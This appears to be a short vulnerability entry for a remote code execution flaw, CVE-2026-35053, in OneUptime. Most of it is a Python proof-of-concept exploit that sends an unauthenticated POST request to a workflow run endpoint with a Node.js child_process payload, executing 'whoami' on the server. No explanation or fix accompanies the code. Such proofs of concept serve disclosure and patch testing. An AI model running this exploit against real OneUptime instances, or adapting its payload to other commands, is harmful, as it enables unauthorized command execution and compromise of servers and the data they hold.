CVE-2026-35053 OneUptime远程代码执行漏洞

import requests import json # Target configuration target_host = "http://vulnerable-oneuptime-instance.com" workflow_id = "target_workflow_id" # Needs to be a valid workflow ID url = f"{target_host}/workflow/manual/run/{workflow_id}" # Malicious payload to execute JavaScript code (e.g., execute a shell command) # This payload attempts to run 'whoami' using Node.js child_process payload = { "data": { "input": "require('child_process').execSync('whoami').toString()" } } headers = { "Content-Type": "application/json" } try: # Send the POST request without authentication headers response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check workflow execution logs for output.") print(f"[+] Response body: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response body: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")